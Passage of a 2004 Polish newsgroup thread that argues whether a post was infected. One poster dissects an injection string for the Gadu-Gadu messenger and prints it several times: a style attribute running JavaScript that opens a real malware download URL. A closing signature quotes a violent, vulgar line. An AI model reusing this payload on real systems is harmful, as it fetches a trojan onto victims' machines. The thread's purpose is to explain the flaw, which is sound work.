Goto page Previous 1, 2, 3
BYRRT!
Guest
Sat Dec 25, 2004 10:39 pm
Quote:
to co tam jest jest jak gówienko, widzisz na trawniku je ale przechodzisz
obok, w ten sposob nie wdepniesz
Ale jak zaczniejsz lazic po trawniku (czyli klikac i sprawdzac o czym tam
pisali w tym postcie) to wdepniesz. Sama kupa nie zaatakuje bo nie umie :)
To sam tekst. Maly ot sie zrobil ale nie boj sie, samo sie nic nie odpala,
zakladam ze masz system "zupdejtowany".
ehh, urzekłeś mnie z tym porównaniem

hehe, być nie powinna tak samo jak
właściciel psa powinien zbierać odchody po swoim zwierzaku (co w praktyce
wygląda dokładnie tak samo jak w necie - nikt nie zbiera tylko omija

) Nie
wiedziałem czy się otwiera ale uważam, że reszta grupy powinna wiedzieć o
czymś takim... Tak apropo to Microsoft ma niedługo odciąć bezpłatny update
dla użytkowników windows (tych nie legalnych). Dziś każdy może ściągnąć
patha z ich strony, mają zrobić tak, że przed ściąganiem trzeba będzie się
zalogować, a żeby uzyskać login i hasło, trzeba być zarejestrowanym
użytkownikiem... Znów twórcy linux'a będą próbować swoich sił w prześciganiu
się o rynek - i pewnie wiele osób się przerzuci...
Pozdrawiam!
Krzys-iek
Guest
Sun Dec 26, 2004 12:09 pm
Quote:
użytkownikiem... Znów twórcy linux'a będą próbować swoich sił w
prześciganiu się o rynek - i pewnie wiele osób się przerzuci...
Pozdrawiam!
nie sadze, linux wymaga raczej wiekszej pracy i wiedzy... az czasami mnie
denerwuje :(
A coz, firma sie borni i jest to zrozumiale.
BYRRT!
Guest
Sun Dec 26, 2004 1:01 pm
Quote:
nie sadze, linux wymaga raczej wiekszej pracy i wiedzy... az czasami mnie
denerwuje
ale jest darmowy i przy odpowiednim skonfigurowaniu jest bardziej wydajny od
Windows, udostepnia wiecej opcji, a wiekszosc oprogramowania na linux'a jest
darmowa
Quote:
A coz, firma sie borni i jest to zrozumiale.
nie do konca tak jest! Myslisz ze po co Microsoft pozwala dzis na kopiowanie
swoich produktow i udostepnia update kazdemu uzystkownikowi (nawet
nielegalnemu)?? W ten sposob Ms opanowal rynek, i tylko umacnia swoja
sile...
BartMan
Guest
Mon Dec 27, 2004 9:11 am
BYRRT! napisał(a):
Quote:
nie jest
zdanie moje, BartMan'a i naszych programow antywirusowych jest inne :(
Moment! Nadinterpretowales moj post. Wiadomosc nie jest zarazona.
Pokazuje kod. Ktory tez nie jest wirusem. Uruchomienie tego kodu pod
internet explorerem (i to w specyficzny sposob, nie zwykle wklejenie czy
cos) powoduje dopiero sciagniecie z internetu trojana i jesli sie ma
dziurawego IE - uruchomienie. To jak link do stron porno - link jest
nieszkodliwy, ale jesli klikniesz i wleziesz tam to od razu zaladuja Ci
sie wirusy, trojany lub dialery. Rozumiesz? Noz lezy na stole - nic.
Bierzesz go i tniesz sobie reke - boli i krzywdzi. Ten kod to nawet nie
opis noza, to adres gdzie on dopiero lezy.
BartMan
BartMan
Guest
Mon Dec 27, 2004 9:24 am
BYRRT! napisał(a):
Quote:
ale to sie samo nie odpala... ludzie, to co jest w tym postcie nie jest
niczym złym...
ale jest cos czego byc nie powinno - i to jest zadziwiajace ze serwery to
Jak strony porno, tez ich nie powinno byc a sa.
przepuszczaja, czy sie uruchamia nie wiem, nie analizowalem dzialania tylko
Bo to zwykly tekst do cholery. Ani kod wirusa. Taki sam tekst jak i
posty. Nawet nie ma tam bajta binarki, tzn. nie-znaku z alfabetu.
Quote:
dziwi mnie fakt ze nikomu to nie przeszkasza! Bronisz tego jakby to bylo
takie normalne i tym samym dajesz na to przyzwolenie
Jakie przyzwolenie. A jak ktos pisze o wysokim napieciu w ramach
jakiegos urzadzenia, a samo napiecie jest grozne dla zdrowia, to takze
czyni zle? Bo prad moze porazic i jest niebezpieczny, wiec mowienie o
tym jest przyzwoleniem dla niebezpieznego zjawiska. Wyglada na to, ze
nie rozumiesz czym sa te 2 linijki i dlatego opisujesz je jakby to byla
magidzna formula.
Jesli dam link do strony z pornografia, to czy sam link jest szkodliwy
Quote:
dla komputera<? Nie mowie "o szkodliwosci" spolecznej tylko dla
komputera. Dopiero jak >user< kliknie na link, to mu sie ze stronki
wladuja trojany. Dokladnie jest z tym linkiem.
LINKI NIE JEST WIRUSEM. Nie przypisujcie mu wlasciwosci magicznych. Oto
jak dziala formula pod GG:
www.po"style=background-image:url(javascript:window.open('http://iframedolla
rs.biz/dl/adv407.php','','left=10000'));".pl
Widzimy tu poczatek w postaci
www.po
to wystarczy by durne GG myslalo, ze to link http. Podkresla wiec cala
linijke az do napodkania konca adresu
..pl
poniewaz GG ma w srodku zagniezdzonego IE, tzn. kozysta z niego do
wyswietlenia wiadomosci w okienku rozmowy (tak, tak, GG generuje nasze
rozmowy w postaci kodu HTML i wowczas prosi IE o wyswietlenie tego w
okienku rozmowy). A wiec zamieniamy link na kod html:
www.po"style=background-image:url(javascript:window.open('http://iframedolla
rs.biz/dl/adv407.php','','left=10000'));".pl
">
www.po"style=background-image:url(javascript:window.open('http://iframedolla
rs.biz/dl/adv407.php','','left=10000'));".pl
Przyjrzyjcie sie uwaznie - dopisalem 1,4,5,6,7 i 8 linijke, z tym ze 6 i
7 to ten sam kod aby nadal sie wyswietlal w okienku. Dla zrozumienia
jesli w okienku rozmowy wpiszemy link
www.onet.pl to GG zamieni na
www.onet.pl
">
www.onet.pl
i teraz nasz rozmowca (i my) moze kliknac na ten link i mu sie otworzy.
Wracajac do przykladu - mamy kawalek kodu HTML jak wyzej i teraz go
zanalizujmy od strony dzialania pod IE.
<A HREF="www.po"
jest to adres jaki widzi IE, potem jest
style=background-image:url(javascript:window.open('http://iframedolla
rs.biz/dl/adv407.php','','left=10000'));
ktory IE interpretuje juz nie jako adres (bo jest poza "") tylko jako
styl (upiekszenie, opis wygladu linku), ktory mowi jaki ma byc obrazek w
tle linku "www.po". Obrazkiem ma byc cos co znajduje sie pod adresem -
komenda 'url'.
i tu jako adres url zamiast adresu do obrazka jest kawalek kodu
JavaScript (do cholerki, nie Java!)
window.open('http://iframedollars.biz/dl/adv407.php','','left=10000')
Jesli chcecie i macie antywira mozecie sobie adres
http://iframedollars.biz/dl/adv407.php
wywolac w IE i sciagniecie tego wirusa.
Cala linijka z window.open mowi, ze IE ma otworzyc nowe okienko,
zaladowac tam strone
http://iframedollars.biz/dl/adv407.php
no a tam siedzi wirus.
Caly blad ie to moim zdaniem mozliwosc wykonania kodu JavaScriptowego w
urlu. Url (adres) powinien juz byc tylko urlem. Choc z drugiej strony
taki mechanizm jest bardzo przydatny przy projektowaniu stron.
Podsumowujac, GG jest potwornie dziurawy i szajsowo napisany. Samo
wykorzystanie innego programu do obslugi rozmowy mowi nam na jaka
latwizne poszli programisci, w dodatku nie wycinajac nieporzadanych
funkcji. Ble!
Mam nadzieje ze kazdy zrozumial moj opis i juz nikt nie bedzie uwazal ze
to zarazony post lub wirus w czystej postaci.
BartMan
BYRRT!
Guest
Mon Dec 27, 2004 10:28 am
Quote:
Bo to zwykly tekst do cholery. Ani kod wirusa. Taki sam tekst jak i
posty. Nawet nie ma tam bajta binarki, tzn. nie-znaku z alfabetu.
od razu mięsem mi tu...
Quote:
Jakie przyzwolenie. A jak ktoś pisze o wysokim napięciu w ramach
jakiegos urzadzenia, a samo napiecie jest grozne dla zdrowia, to takze
czyni zle? Bo prad moze porazic i jest niebezpieczny, wiec mowienie o
tym jest przyzwoleniem dla niebezpieznego zjawiska.
Chyba mało co się przyjrzałeś dyskusji i krytykujesz, gdybyś czytał DOBRZE
wiedziałbyś ze to ja zacząłem temat wiec bardzo DOBRZE ze dyskusja ma
miejsce, jednak gadanie tekstów takich jak Ty w tym momencie jest dla mnie
pozbawione sensu! Skoro prąd jest niebezpieczny dla życia i zdrowia
(rozumiem ze porównujesz do wirusa) to powinno się o tym gadać i
minimalizować możliwość porażenia (przesyłania wirusa dalej i zarażania
dalej). Sam się nie trzymasz kupy bo raz mówisz ze to niebezpieczne i
porównujesz do prądu, a potem krytykujesz wszystkich i wszystko ze to wirus
nie jest!
Quote:
Wyglada na to, ze
nie rozumiesz czym sa te 2 linijki i dlatego opisujesz je jakby to byla
magidzna formula.
Komentować nie będę bo nie pisałem nic co ja o tym twierdze!
Quote:
Jesli dam link do strony z pornografia, to czy sam link jest szkodliwy
dla komputera<? Nie mowie "o szkodliwosci" spolecznej tylko dla
komputera. Dopiero jak >user< kliknie na link, to mu sie ze stronki
wladuja trojany. Dokladnie jest z tym linkiem.
LINKI NIE JEST WIRUSEM. Nie przypisujcie mu wlasciwosci magicznych. Oto
jak dziala formula pod GG:
tyle ze samych linkow nie wyłapuje NAV - zastanów się czasem!
Quote:
Mam nadzieje ze każdy zrozumiał mój opis i już nikt nie będzie uważał ze
to zarażony post lub wirus w czystej postaci.
i żebyś nie miał wątpliwości ja to wszystko po krotce rozumiem, tylko po co
to wszystko?? Dziennie na te grupę wysyłane są setki postów i tylko ten
jeden ma taki mankament! To jest dziwne - i czego Ty bronisz??
BartMan
Guest
Mon Dec 27, 2004 11:17 am
BYRRT! napisał(a):
Quote:
Bo to zwykly tekst do cholery. Ani kod wirusa. Taki sam tekst jak i
posty. Nawet nie ma tam bajta binarki, tzn. nie-znaku z alfabetu.
od razu mięsem mi tu...
Jakim miesem? Unioslem sie, sory, poprostu te dywagacje sa puste, bo nie
jest to wirus. I nie Tobie rzucam miesem. Chyba za bardzo osobiscie
traktujesz te posty. To sa posty na grupe. Publiczne, na publiczna
grupe. I nie pisz, ze w zwiazku z tym nie powinienem pisac "cholerka".
Quote:
Chyba mało co się przyjrzałeś dyskusji i krytykujesz, gdybyś czytał DOBRZE
wiedziałbyś ze to ja zacząłem temat wiec bardzo DOBRZE ze dyskusja ma
miejsce, jednak gadanie tekstów takich jak Ty w tym momencie jest dla mnie
pozbawione sensu! Skoro prąd jest niebezpieczny dla życia i zdrowia
(rozumiem ze porównujesz do wirusa) to powinno się o tym gadać i
minimalizować możliwość porażenia (przesyłania wirusa dalej i zarażania
dalej). Sam się nie trzymasz kupy bo raz mówisz ze to niebezpieczne i
porównujesz do prądu, a potem krytykujesz wszystkich i wszystko ze to wirus
nie jest!
Nie krytykuje, tylko wyjasnia. Mam wrazenie ze sie nie rozumiemy.
Wyglada na to, ze
nie rozumiesz czym sa te 2 linijki i dlatego opisujesz je jakby to byla
magidzna formula.
Komentować nie będę bo nie pisałem nic co ja o tym twierdze!
Napisales (cyt. z innego postu) ze
przedewszystkim to ta wiadomosc jest zararzona
kiedy ona nie jest zarazona...
Quote:
tyle ze samych linkow nie wyłapuje NAV - zastanów się czasem!
Nad czym? Nie rozumiem o co Ci chodzi. Jak ma NAV wylapywac linki?
Quote:
Mam nadzieje ze każdy zrozumiał mój opis i już nikt nie będzie uważał ze
to zarażony post lub wirus w czystej postaci.
i żebyś nie miał wątpliwości ja to wszystko po krotce rozumiem, tylko po co
Bardzo sie ciesze.
to wszystko?? Dziennie na te grupę wysyłane są setki postów i tylko ten
Po to, ze nikt nie napisal dlaczego ten link jest niebezpieczny, tylko
kazdy dywaguje nad tym ze to wirus, ze cos strasznego, ze niebezpieczne.
Jesli rozumiesz jak dziala, to wiesz czego sie obawiac - np. nie
klikniesz na niego.
Quote:
jeden ma taki mankament! To jest dziwne - i czego Ty bronisz??
Ten post nie ma zadnych mankamentow, nie jest zarazony. To zwykly tekst.
Jest niebezpieczny jesli go wkleic do GG w starszej wersji (6.0) i tyle.
Szczegolnie nie jest niebezpeiczny dla Twojego klienta newsow.
Ja nie bronie. Ja tylko tlumacze jak dzialal ten link pod GG. Serio, nie
rozumiem o co Ci chodzi.
Pozdrawiam.
BartMan
BartMan
Guest
Mon Dec 27, 2004 3:43 pm
J.F. napisał(a):
Quote:
On Mon, 27 Dec 2004 10:24:43 +0100, BartMan wrote:
[...]
Moment, nie bardzo rozumiem - moze i tak byc nie powinno,
ale po co ta komplikacja z jednej strony, a zarzuty na "bledy w GG" z
drugiej strony, skoro wystarczylo rozeslac:
"chcesz zobaczyc fajny film ?
Kliknij
http://iframedollars.biz/dl/adv407.php"
No ale patent polega na tym, ze to sie samo wykonuje. SAMO. Bez klikania
laduje sie wirus, jakbys kliknal na niego.
Quote:
Efekt dokladnie ten sam, o ile cie dobrze zrozumialem.
No, nie ten sam, bo jak kogos nie znasz to nie klikniesz.
Po zastanowieniu .. chyba nie chcialbys miec na dysku 10 programow
o funkcjonalnosci IE zainstalowanych ? GG, czytnik poczty, news
reader, help, icq - i pewnie by sie jeszcze kilka znalazlo.
Kazdy z wlasnymi dziurami, kazdy inaczej obslugiwany.
No nie maja tej samej funkcjonalnosci. W przypadku klienta rozmow
wystarczy kolorowanie textu i graficzka. Programisci posszli na latwizne
i zaplacili bledami soft nie od nich zaleznego (IE) i nie zabezpeiczyli
sie od kodu nie potrzebnego w czasie rozmowy (javascript).
Quote:
To juz chyba lepiej ze one wywoluja twoja ulubiona przegladarke.
IE nie jest moja ulubiona przegladarka...
Idac dalej tym tropem, nie moge zmusic, zeby GG uzywalo firefoxa.
Quote:
Natomiast duzo dozrobienia ma MS z koncepcja bezpieczenstwa internetu
Ofkoz. Tymczasem kwestia bezpieczenstwa byla po stronie GG, bo IE
zachowal sie prawidlowo, uruchomil kod JavaScript, bo do tego tez zostal
napisany. GG nei przefiltrowalo Javascriptu z HTMLa.
Mysle ze ciagniecie tego watku nie ma sensu. Ludzi rzucaja sie na mnie,
nie wiadomo za co. Ja rozumiem mechanizm dzialania tego exploita. Widze,
ze wina jest po stronie GG, co sami programisci udowodnili wypuszczajac
poprawiona wersje GG - gdyby to nie byla ich wina, trzeba byloby czekac
na late z MS.
Konczac dywagacje, pozdrawiam. Nie mialem zamiaru nikogo urazic.
BartMan
Marcin E. Hamerla
Guest
Tue Dec 28, 2004 10:34 am
BYRRT! napisal(a):
Quote:
nie sadze, linux wymaga raczej wiekszej pracy i wiedzy... az czasami mnie
denerwuje :(
ale jest darmowy
Jak to mowia, jest darmowy dla tych, ktorych czas jest bezwartosciowy.
--
Pozdrowienia, Marcin E. Hamerla
"Jak ja was, kurrwy, nienawidzę, jak do was bym z kałacha bił."
Goto page Previous 1, 2, 3